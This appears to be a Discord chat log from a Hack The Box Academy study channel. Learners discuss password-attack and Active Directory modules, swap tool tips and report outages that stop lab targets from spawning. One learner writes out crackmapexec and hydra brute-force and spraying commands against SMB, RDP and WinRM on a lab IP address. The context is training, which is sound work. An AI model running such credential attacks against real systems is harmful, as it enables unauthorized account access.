I wouldn't recommend bruteforcing (not spraying) SMB btw, especially with cme because it's very slow. if you want to brute AD, it's better and much faster to use LDAP/kerberos

but most of the time it will have account lockout so bruting is out of the question

[stark lark]

Interesting! Currently only a small step into the password attacks module so I believe that will be covered in later sections.

[split glade]

If it's not there's a well explained part in "Active Directory Enumeration & Attacks" (I did it not long ago)

[next bronze]

kerbrute is one of the tools but I don't remember the module where they talked about it

[split glade]

https://academy.hackthebox.com/module/143/section/1265 -> Kerbrute - Internal AD Username Enumeration

And it's indeed incredibly fast in comparison

[rain garnet]

Hi htb dude,
Do you know why htb windows remote host is moving so slow.?
It's time consuming to take control the Windows.
And it's really a waste of time and money to me. Hack the box should fix this issue.
I have annual subscription of cpts.

Who ever htb support here fix that issue guys. You never now the feeling when that fcking windows host is moving so slow.

[acoustic owl]

Contact the support team. The support team does not monitor this Discord server

[misty saddle]

Any1 else having issues spawning targets?

[unreal granite]

ye

[misty saddle]

[fiery crane]

clearing last 24 hour cache files fixed my issue.

[astral beacon]

I'm not sure what wrong I did,when I tried to log poisonings
The output of shell is empty

[fringe sparrow]

Any updates about spawning targets in modules, I cannot spawn any target

[unreal granite]

nope just wrote to support but no answer

[fringe sparrow]

same here

[elfin drum]

Hello, could anyone help me on module "Password Attacks - Skills Assessment Hard" I am using the module given username.list and password.list along with the credentials I got from Lab Easy and Medium (not sure if this will help). I use crackmapexec to do password spraying on SMB service but when I ran it for about 20 minutes it will get connection timeout and I couldn't really get a valid credential to start with this sectio, Im not sure if I should keep password spraying SMB or am I in the wrong direction, could you give me some pointers.

Thanks.

Here's what I've done so far

crackmapexec smb 10.129.202.222 -u "johanna" -p password.list
hydra -l "Johanna" -P password.list rdp://10.129.202.222
hydra -l "johanna" -P password.list rdp://10.129.202.222
crackmapexec winrm 10.129.202.222 -u "johanna" -p password.list

hydra -L username.list -P password.list smb://10.129.202.222
crackmapexec smb 10.129.202.222 -u username.list -p password.list
hydra -L username.list -P password.list rdp://10.129.202.222
crackmapexec winrm 10.129.202.222 -u user.list -p password.list

[sage laurel]

So I am not the only one... I almost thought I was crazy

Day off off studying today I guess... Hope it gets fixed soon ❤️

[split glade]

It's neither of those protocols

(if that helps)

[elfin drum]

Neither SMB or RDP? Thanks I will start working on other protocol then

[split glade]

My bad, I was looking at the wrong note, look at the password mutation chapter

[elfin drum]

OK I will try that then, the Hydra estimate time was 40 hours for mutated password list so I got apprehensive. Thanks for the guide

[unreal granite]

try a tool called crowbar

[split glade]

Oh yes, looking at my notes it's where crackmapexec was completely unreliable on RDP cf #modules message

[wanton rover]

hi

[unreal granite]

hi

[wise vault]

hi

[muted kindle]

hi

[shut comet]

Hello, I need to be able to chat in HTB: SERIOUS DISCUSSIONS channel

[fresh plinth]

read #welcome and verify

[unreal granite]

so targets are spawning again ?

[sage laurel]

for me, yes it did spawn

[unreal granite]

Jopp same here

[normal sand]

Module: Pivoting, Tunneling, and Port Forwarding
Section: SSH for Windows: plink.exe
Can someone please clarify whether Proxifier needs to be used in conjunction with Plink or are they two independent methods?

From my understanding, it does need to be used in conjunction. I'm just looking for someone to validate my understanding. Thanks.

I would test it out but I haven't got access to a Windows VM atm.

Thanks for validating my understanding, Sudo6!

[noble igloo]

Module: Analyzing Evil with Sysmon & Event Logs. I need to modify Event ID 7 in sysmonconfig-export.xml, but such event doesn't exist. Could anybody advice?

[haughty tree]

I was just using this lol but yeah just like you need proxychains for Linux to set up the proxy you can use Proxifier on Windows to set up the proxy

It's a bit of a shame that they don't give you a windows host to RDP to and try this out

[wise vault]

hi mate

yesterday i was not able to clear first section now am on DNS Tunneling with Dnscat2 😀. i just clear the first 3 practical sections deeply. they boost me.

[wise vault]

tip: upload the scenario images to chatgpt and write "explain this image " then boom!!!!! you will get everything🙂

for every section

[nova ruin]

We need Splunk model 🥹

[dawn cove]

Hello
In the Attacking Enterprise Network, I am trying to PrivEsc Windows host
However, I have tried several tools, but all of theme does not work and prodcuing this error: